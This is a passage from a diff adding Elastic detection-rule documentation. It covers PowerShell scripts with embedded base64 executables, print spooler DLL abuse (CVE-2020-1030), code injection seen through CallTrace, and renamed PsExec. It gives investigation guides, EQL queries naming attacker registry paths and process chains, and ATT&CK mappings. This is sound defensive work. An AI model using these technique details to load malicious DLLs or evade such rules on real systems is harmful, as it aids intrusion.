`user.id` to identify the initiating account and whether this activity is expected for that user (approved automation vs. unusual interactive activity). + - Use `host.name` and `host.id` to identify the affected asset, its owner/role, and whether PowerShell automation is typical for this host. + - If `file.path`, `file.directory`, or `file.name` are present, treat the alert as file-sourced script execution: + - Validate whether the path and name align with approved administrative tooling and distribution locations. + - Prioritize investigation when scripts are sourced from user-writable locations, temporary directories, or uncommon paths for your environment. +- Identify likely payload handling behavior within the script: + - Look for logic that transforms the encoded content into executable bytes and how it is consumed (written to disk, loaded as an assembly, reflectively invoked, or mapped into memory). + - Note any secondary behaviors in the same script block that increase risk, such as staged downloads, persistence-related actions, or attempts to reduce visibility. + - Identify whether the script constructs multiple encoded blobs, and document which blob is ultimately used for execution. +- Scope the activity using alert pivots: + - Search for additional script block events for the same `host.id` and `user.id` around `@timestamp` to identify lead-up actions and follow-on behavior. + - Search across hosts for the same `powershell.file.script_block_text` patterns (the encoded header and any unique strings nearby) to identify other potentially affected systems. + - If a script file is indicated by `file.path`/`file.name`, search for the same path/name across your environment to determine distribution and reuse. +- Correlate with adjacent telemetry (if available): + - Pivot on `host.id`/`host.name` and `@timestamp` into process telemetry to identify the PowerShell session and any processes that appear shortly after the script ran, which may indicate payload execution outcomes. + - Pivot on `host.id`/`host.name` and `@timestamp` into network telemetry to identify outbound connections that could indicate payload retrieval or command-and-control activity shortly before or after script execution. + - Review authentication activity for the same `user.id` around the alert time to identify unusual logons (unexpected host, timing, or access pattern) that could explain how the execution context was obtained. +- Analyze the embedded payload in an isolated workflow (when permitted): + - Decode the base64 content and validate whether it forms a legitimate PE. + - Derive stable indicators (hashes, unique strings, and high-level metadata) and use them to widen the scope across endpoints and historical telemetry. + - Preserve decoded artifacts and analysis notes according to your incident handling and evidence retention procedures. + + +*False positive analysis* + + +- Approved administrative or deployment automation that embeds executables in PowerShell scripts for distribution in tightly controlled environments. +- Vendor-provided installers, updaters, or management tooling that stages binaries through PowerShell as part of legitimate maintenance activity. +- Authorized security testing or adversary emulation that intentionally uses embedded payloads or in-memory loading techniques. +- False positives are more likely when `file.path` points to known software distribution locations and the executing `user.id` is an approved automation account; validate against change records and expected tooling. + + +*Response and remediation* + + +- If the activity is unexpected or malicious: + - Contain the affected host(s) based on criticality to prevent further execution or lateral movement. + - Preserve evidence by saving the full reconstructed script content (using `powershell.file.script_block_id` plus all fragments, if split) and recording the associated `@timestamp`, `host.id`, `host.name`, and `user.id` for timeline reconstruction. +- Assess scope and impact: + - Hunt for the same script patterns across other hosts and users, and expand scoping using any indicators derived from payload analysis. + - Review the initiating account for signs of compromise; apply credential hygiene actions per policy (reset credentials, revoke sessions, and review access). +- Eradicate and recover: + - Remove or remediate the script source indicated by `file.path` (if present) and any persistence mechanisms identified during triage (for example, suspicious or newly introduced services). + - If a PE payload is confirmed, follow malware incident procedures to determine whether host reimaging or deeper forensic review is required. +- Post-incident improvements: + - Review PowerShell governance for the affected population (script approval processes, least privilege, and monitoring of script block content) to reduce recurrence. + - Document validated benign patterns and trusted automation paths to streamline future triage and reduce alert fatigue. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + powershell.file.script_block_text : ( + TVqQAAMAAAAEAAAA + ) and not user.id : "S-1-5-18" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Encrypted/Encoded File +** ID: T1027.013 +** Reference URL: https://attack.mitre.org/techniques/T1027/013/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-powershell-script.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-powershell-script.asciidoc new file mode 100644 index 0000000000..27e4aa29c8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-powershell-script.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-20-suspicious-powershell-script]] +=== Suspicious Powershell Script + +A machine learning job detected a PowerShell script with unusual data characteristics, such as obfuscation, that may be a characteristic of malicious PowerShell script text blocks. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-45m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://www.elastic.co/security-labs/detecting-living-off-the-land-attacks-with-new-elastic-integration + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Execution +* Resources: Investigation Guide + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Powershell Script* + + +PowerShell is a powerful scripting language used for task automation and configuration management in Windows environments. Adversaries often exploit its capabilities to execute malicious scripts, leveraging obfuscation to evade detection. The 'Suspicious Powershell Script' detection rule employs machine learning to identify unusual script characteristics, such as obfuscation, indicating potential threats. By analyzing these anomalies, the rule aids in early threat detection and mitigation. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific PowerShell script or command that triggered the detection, focusing on any obfuscated elements. +- Examine the source endpoint and user account associated with the alert to determine if the activity aligns with expected behavior or if it appears suspicious. +- Check the execution history on the affected endpoint for any other unusual or unauthorized PowerShell commands or scripts executed around the same time. +- Investigate the network activity from the source endpoint to identify any connections to known malicious IP addresses or domains. +- Correlate the alert with other security events or logs, such as antivirus alerts or firewall logs, to gather additional context and assess the potential impact. +- Consult threat intelligence sources to determine if the detected script or its components are associated with known malware or attack campaigns. + + +*False positive analysis* + + +- Legitimate administrative scripts may trigger the rule due to obfuscation techniques used for efficiency or security. Review the script's purpose and source to determine its legitimacy. +- Automated deployment tools often use PowerShell scripts that appear obfuscated. Identify and whitelist these tools to prevent unnecessary alerts. +- Security software updates might use obfuscated scripts for protection against tampering. Verify the update source and add exceptions for known trusted vendors. +- Custom scripts developed in-house for specific tasks may use obfuscation for intellectual property protection. Document and exclude these scripts after confirming their safety. +- Regularly review and update the list of exceptions to ensure that only verified non-threatening scripts are excluded, maintaining the effectiveness of the detection rule. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any malicious activity. +- Terminate any suspicious PowerShell processes identified on the affected system to halt the execution of potentially harmful scripts. +- Conduct a thorough review of the PowerShell script logs and execution history on the affected system to identify any unauthorized or malicious commands executed. +- Restore the affected system from a known good backup if any malicious activity is confirmed, ensuring that the backup is free from compromise. +- Update and patch the affected system to the latest security standards to close any vulnerabilities that may have been exploited. +- Implement enhanced monitoring for PowerShell activity across the network, focusing on detecting obfuscation and unusual script characteristics. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from one of the following integrations: +- Elastic Defend +- Windows + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration to your system:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Windows Integration Setup* + +The Windows integration allows you to monitor the Windows OS, services, applications, and more. + + +*The following steps should be executed in order to add the Elastic Agent System integration "windows" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Windows” and select the integration to see more details about it. +- Click “Add Windows”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “windows” to an existing or a new agent policy, and deploy the agent on your system from which windows log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/windows[helper guide]. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-print-spooler-file-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-print-spooler-file-deletion.asciidoc new file mode 100644 index 0000000000..36f420eedb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-print-spooler-file-deletion.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-20-suspicious-print-spooler-file-deletion]] +=== Suspicious Print Spooler File Deletion + +Detects deletion of print driver files by an unusual process. This may indicate a clean up attempt post successful privilege escalation via Print Spooler service related vulnerabilities. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 311 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Print Spooler File Deletion* + + +The Print Spooler service in Windows manages print jobs and interactions with printers. Adversaries exploit vulnerabilities in this service to escalate privileges, often deleting print driver files to cover their tracks. The detection rule identifies unusual deletions of these files by processes other than legitimate ones, signaling potential misuse and aiding in early threat detection. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific file path and name of the deleted DLL file within "C:\Windows\System32\spool\drivers\x64\3\". +- Examine the process responsible for the deletion by checking the process name and its parent process to determine if it is a known legitimate process or a potentially malicious one. +- Investigate the timeline of events around the deletion to identify any preceding or subsequent suspicious activities, such as privilege escalation attempts or unauthorized access. +- Check for any recent vulnerabilities or exploits related to the Print Spooler service that might have been leveraged in this context. +- Correlate the event with other security logs and alerts from data sources like Sysmon, Microsoft Defender for Endpoint, or SentinelOne to gather additional context and confirm the presence of malicious activity. +- Assess the affected system for any signs of compromise or persistence mechanisms that may have been established following the deletion event. + + +*False positive analysis* + + +- System maintenance or updates may trigger legitimate deletions of print driver files. Monitor scheduled maintenance activities and correlate them with detected events to confirm legitimacy. +- Third-party printer management software might delete or update driver files as part of its normal operation. Identify and whitelist these processes if they are verified as non-threatening. +- Custom scripts or administrative tools used by IT staff for printer management could inadvertently match the rule's criteria. Review and document these tools, then create exceptions for known safe operations. +- Automated deployment tools that update or clean up printer drivers across the network might cause false positives. Ensure these tools are recognized and excluded from the detection rule if they are part of routine operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes identified as responsible for the deletion of print driver files, ensuring they are not legitimate system processes. +- Restore the deleted print driver files from a known good backup to ensure the Print Spooler service functions correctly. +- Conduct a thorough review of user accounts and privileges on the affected system to identify and revoke any unauthorized privilege escalations. +- Apply the latest security patches and updates to the Print Spooler service and related components to mitigate known vulnerabilities. +- Monitor the affected system and network for any signs of further suspicious activity, focusing on similar file deletion patterns or privilege escalation attempts. +- Escalate the incident to the security operations center (SOC) or relevant IT security team for further investigation and to assess the need for broader organizational response measures. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type == "deletion" and + file.extension : "dll" and file.path : "?:\\Windows\\System32\\spool\\drivers\\x64\\3\\*.dll" and + not process.name : ("spoolsv.exe", "dllhost.exe", "explorer.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: File Deletion +** ID: T1070.004 +** Reference URL: https://attack.mitre.org/techniques/T1070/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-print-spooler-point-and-print-dll.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-print-spooler-point-and-print-dll.asciidoc new file mode 100644 index 0000000000..0aef56aea0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-print-spooler-point-and-print-dll.asciidoc @@ -0,0 +1,142 @@ +[[prebuilt-rule-8-19-20-suspicious-print-spooler-point-and-print-dll]] +=== Suspicious Print Spooler Point and Print DLL + +Detects attempts to exploit a privilege escalation vulnerability (CVE-2020-1030) related to the print spooler service. Exploitation involves chaining multiple primitives to load an arbitrary DLL into the print spooler process running as SYSTEM. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.accenture.com/us-en/blogs/cyber-defense/discovering-exploiting-shutting-down-dangerous-windows-print-spooler-vulnerability +* https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/blob/master/Privilege%20Escalation/privesc_sysmon_cve_20201030_spooler.evtx +* https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1030 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Print Spooler Point and Print DLL* + + +The Windows Print Spooler service manages print jobs and is integral to printing operations. Adversaries exploit vulnerabilities like CVE-2020-1030 to escalate privileges by loading malicious DLLs into the spooler process, which runs with SYSTEM-level permissions. The detection rule identifies suspicious registry modifications linked to the Print Spooler, indicating potential exploitation attempts by monitoring specific registry paths and data patterns. + + +*Possible investigation steps* + + +- Review the registry paths specified in the alert to confirm any unauthorized modifications, focusing on the paths: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\*\SpoolDirectory and HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\*\CopyFiles\Payload\Module. +- Check the registry data strings for any unexpected or suspicious DLLs located in C:\Windows\System32\spool\drivers\x64\4, which may indicate a malicious payload. +- Investigate the host identified by host.id to determine if there are any other signs of compromise or unusual activity, such as unexpected processes or network connections. +- Correlate the alert with other security events or logs from the same host to identify any related activities or patterns that could suggest a broader attack. +- Assess the system's patch level and update status to ensure that all known vulnerabilities, including CVE-2020-1030, have been addressed and mitigated. +- If a malicious DLL is confirmed, isolate the affected system to prevent further exploitation and begin remediation efforts, such as removing the malicious files and restoring the system to a known good state. + + +*False positive analysis* + + +- Legitimate printer driver updates or installations may trigger the rule due to registry modifications in the specified paths. Users can create exceptions for known and trusted driver update processes to prevent false alerts. +- Custom print configurations by IT departments that modify the SpoolDirectory or CopyFiles registry paths might be flagged. Document and exclude these configurations if they are verified as safe and necessary for business operations. +- Automated scripts or software that manage printer settings and inadvertently modify the monitored registry paths can cause false positives. Identify and whitelist these scripts or applications after confirming their legitimacy. +- Third-party print management solutions that interact with the Print Spooler service may lead to false detections. Evaluate these solutions and exclude their known benign activities from the detection rule. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further exploitation or lateral movement by the adversary. +- Terminate the Print Spooler service on the compromised system to stop any ongoing malicious activity and prevent further DLL loading. +- Conduct a thorough scan of the system using updated antivirus and anti-malware tools to identify and remove any malicious DLLs or related files. +- Review and restore the registry paths identified in the detection query to their default values to ensure no malicious configurations remain. +- Apply the latest security patches and updates from Microsoft to address CVE-2020-1030 and other known vulnerabilities in the Print Spooler service. +- Monitor the network for any signs of similar exploitation attempts, focusing on the registry paths and data patterns specified in the detection rule. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on other systems within the network. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=30s +[registry where host.os.type == "windows" and + registry.value : "SpoolDirectory" and + registry.path : "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Print\\Printers\\*\\SpoolDirectory" and + registry.data.strings : "C:\\Windows\\System32\\spool\\drivers\\x64\\4"] +[registry where host.os.type == "windows" and + registry.value : "Module" and + registry.path : "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Print\\Printers\\*\\CopyFiles\\Payload\\Module" and + registry.data.strings : "C:\\Windows\\System32\\spool\\drivers\\x64\\4\\*"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-process-creation-calltrace.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-process-creation-calltrace.asciidoc new file mode 100644 index 0000000000..65f417cc7f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-process-creation-calltrace.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-20-suspicious-process-creation-calltrace]] +=== Suspicious Process Creation CallTrace + +Identifies when a process is created and immediately accessed from an unknown memory code region and by the same parent process. This may indicate a code injection attempt. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Sysmon + +*Version*: 311 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Process Creation CallTrace* + + +Attackers may inject code into child processes' memory to hide their actual activity, evade detection mechanisms, and decrease discoverability during forensics. This rule looks for a spawned process by Microsoft Office, scripting, and command line applications, followed by a process access event for an unknown memory region by the parent process, which can indicate a code injection attempt. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the host for suspicious or abnormal behavior in the alert timeframe. +- Create a memory dump of the child process for analysis. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=1m + [process where host.os.type == "windows" and event.code == "1" and + /* sysmon process creation */ + process.parent.name : ("winword.exe", "excel.exe", "outlook.exe", "powerpnt.exe", "eqnedt32.exe", "fltldr.exe", + "mspub.exe", "msaccess.exe","cscript.exe", "wscript.exe", "rundll32.exe", "regsvr32.exe", + "mshta.exe", "wmic.exe", "cmstp.exe", "msxsl.exe") and + + /* noisy FP patterns */ + not (process.parent.name : "EXCEL.EXE" and process.executable : "?:\\Program Files\\Microsoft Office\\root\\Office*\\ADDINS\\*.exe") and + not (process.executable : "?:\\Windows\\splwow64.exe" and process.args in ("8192", "12288") and process.parent.name : ("winword.exe", "excel.exe", "outlook.exe", "powerpnt.exe")) and + not (process.parent.name : "rundll32.exe" and process.parent.args : ("?:\\WINDOWS\\Installer\\MSI*.tmp,zzzzInvokeManagedCustomActionOutOfProc", "--no-sandbox")) and + not (process.executable : + ("?:\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\*\\msedgewebview2.exe", + "?:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\Acrobat.exe", + "?:\\Windows\\SysWOW64\\DWWIN.EXE") and + process.parent.name : ("winword.exe", "excel.exe", "outlook.exe", "powerpnt.exe")) and + not (process.parent.name : "regsvr32.exe" and process.parent.args : ("?:\\Program Files\\*", "?:\\Program Files (x86)\\*")) + ] by process.parent.entity_id, process.entity_id + [process where host.os.type == "windows" and event.code == "10" and + /* Sysmon process access event from unknown module */ + winlog.event_data.CallTrace : "*UNKNOWN*"] by process.entity_id, winlog.event_data.TargetProcessGUID + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Sub-technique: +** Name: Process Hollowing +** ID: T1055.012 +** Reference URL: https://attack.mitre.org/techniques/T1055/012/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-process-execution-via-renamed-psexec-executable.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-process-execution-via-renamed-psexec-executable.asciidoc new file mode 100644 index 0000000000..a204627ffe --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-process-execution-via-renamed-psexec-executable.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-20-suspicious-process-execution-via-renamed-psexec-executable]] +=== Suspicious Process Execution via Renamed PsExec Executable + +Identifies suspicious psexec activity which is executing from the psexec service that has been renamed, possibly to evade detection. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: Crowdstrike + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Process Execution via Renamed PsExec Executable* + + +PsExec is a remote administration tool that enables the execution of commands with both regular and SYSTEM privileges on Windows systems. It operates by executing a service component `Psexecsvc` on a remote system, which then runs a specified process and returns the results to the local system. Microsoft develops PsExec as part of the Sysinternals Suite. Although commonly used by administrators, PsExec is frequently used by attackers to enable lateral movement and execute commands as SYSTEM to disable defenses and bypass security protections. + +This rule identifies instances where the PsExec service component is executed using a custom name. This behavior can indicate an attempt to bypass security controls or detections that look for the default PsExec service component name. + + +*Possible investigation steps* + + +- Check if the usage of this tool complies with the organization's administration policy. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Identify the target computer and its role in the IT environment. +- Investigate what commands were run, and assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. + + +*False positive analysis* + + +- This mechanism can be used legitimately. As long as the analyst did not identify suspicious activity related to the user or involved hosts, and the tool is allowed by the organization's policy, such alerts can be dismissed. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. + - Prioritize cases involving critical servers and users. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Review the privileges assigned to the user to ensure that the least privilege principle is being followed. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.pe.original_file_name : "psexesvc.exe" and not process.name : "PSEXESVC.exe" + +---------------------------------- + +*Framework*: MITRE 